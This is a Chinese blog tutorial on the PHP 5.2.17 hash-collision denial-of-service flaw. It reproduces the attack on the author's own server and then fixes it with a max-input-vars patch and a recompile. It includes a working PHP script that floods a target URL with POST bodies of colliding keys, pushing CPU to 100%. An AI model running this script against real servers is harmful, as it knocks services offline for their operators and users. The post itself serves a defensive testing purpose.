PHP Hash冲突导致 CPU 100%的完全解决方法
我们先看下环境,这个网站是lamp架构,php版本是5.2.17。
php未打补丁前,服务器cpu情况,目前是2.1%的使用率。
我们在这台web服务器上编写一个php程序,目的是要测试机去hash它,以便故障重现。
程序语言如下:
<?php
echo $showtime=date("y-m-d h:i:s");
?>
执行后的效果是取当前服务器的时间。
找台有php环境的测试机器,这台机器我用虚拟机,里面有lamp环境。进/usr/local/apache/htdocs目录,写一php网页,程序语言如下:
[root@blog htdocs]# vi hash.php
<?php
$size = pow(2, 16);
$data = '';
for ($key = 0, $maxkey = ($size - 1) * $size; $key <= $maxkey; $key += $size) {
$data .= $key.'=&';
}
$url = 'http://www.liuxxxxx.com/checktime.php';
$rs = array();
$ch = curl_init();
curl_setopt($ch, curlopt_header,0);
curl_setopt($ch, curlopt_returntransfer, 1);
curl_setopt($ch, curlopt_url, $url);
curl_setopt($ch, curlopt_post, 1);
curl_setopt($ch, curlopt_postfields, $data);
for ($i=0; $i<100; ++$i)
{
curl_exec($ch);
}
curl_close($ch);
?>
url地址,为你要作测试的目标机,i<100,表示最多100个并发。手工执行hash.php,进行hash碰撞。
[root@blog htdocs]# /usr/local/php/bin/php hash.php
在web服务器端,我们去看服务器的资源利用情况,cpu是97.6%,看样子单台虚拟机,拿100并发去hash,就足够把web服务器的cpu利用率升至100%。
cpu到了100%,网站是什么情况呢。我们再浏览该台web服务器,点网站上面的链接,反应正常,估计是这台web服务器本身没有一点压力,所以看不出来。把并发量调到10000,再测下,刚才是100并发。
刷新checktime.php页面,可以很快显示,网站正常。但此时web服务器cpu已是100%
结论,我是用个人博客作目标机,因为个人博客,目前只有几个人访问,没有压力,所以即使,通过10000并发的hash,cpu上到100%,个人博客打开的速度,还是相当快。
打上补丁,我们再观察一下。
1、先查下以后在搭建环境时,php的编译参数
2、到网上去下载一个php补丁,下载地址为:
https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars
3、根据个人平台的版本号,点击进去,注意,不要在它上面点右键,另存为,否则你down下的是一个html文件,文件名倒是php-5.2.17-max-input-vars.patch。
在新弹出的页面点“raw”,就会打开这个补丁文件。
把里面的内容复制,我这里只截了它一小部分。然后在web服务器上新建一个文件,php-5.2.17-max-input-vars.patch,里面就是刚复制的。
4、进php的原始安装目录,我这里环境是/opt/soft/php-5.2.17。先把原来已编译好的一些,清理一下。
5、打补丁并重新编译一下php
再config
再make zend_extra_libs='-liconv' //有的平台是make,每个环境不一样
再make install
6、重启一下apache,看效果
[root@lghblog php-5.2.17]# pkill httpd
[root@lghblog php-5.2.17]#/usr/local/apache/bin/apachectl start
访问一下,web服务器的phpinfo.php,查看php环境有没有变化。大家可以在最上面看到,php版本后带了个p1。这个还不够,我们再用hash碰撞一下,看cpu会不会上100%。
在测试机上,还是取并发10000,去hash web服务器。发现web服务器的cpu一直保持在0.5%。
问题解决!
本文出自 “系统网络运维” 博客
上一篇: 如何用条条框框规划朋友圈营销卖货行为?
下一篇: 介绍初级黑客常用兵器(图)